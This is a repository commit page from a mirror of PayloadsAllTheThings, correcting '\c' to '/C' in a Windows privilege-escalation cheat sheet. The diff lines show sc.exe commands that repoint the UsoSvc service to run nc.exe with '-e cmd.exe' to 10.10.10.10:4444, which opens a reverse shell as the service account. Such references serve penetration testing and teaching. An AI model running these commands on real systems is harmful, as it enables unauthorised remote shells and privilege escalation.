ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-24 13:25:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

replaced backslash with forwardslash in cmd syntax

Browse Source 
As defined in cmd.exe /?
/C Carries out the command specified by string and then terminates
This commit is contained in:
NocFlame 2022-05-25 09:55:05 +02:00 committed by GitHub
parent 12ee527763
commit 2ef501f883
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
Methodology and Resources/Windows - Privilege Escalation.md
View File

@ -730,7 +730,7 @@ Prerequisite: Service account
PS C:\Windows\system32> sc.exe stop UsoSvc PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS [SC] QueryServiceConfig SUCCESS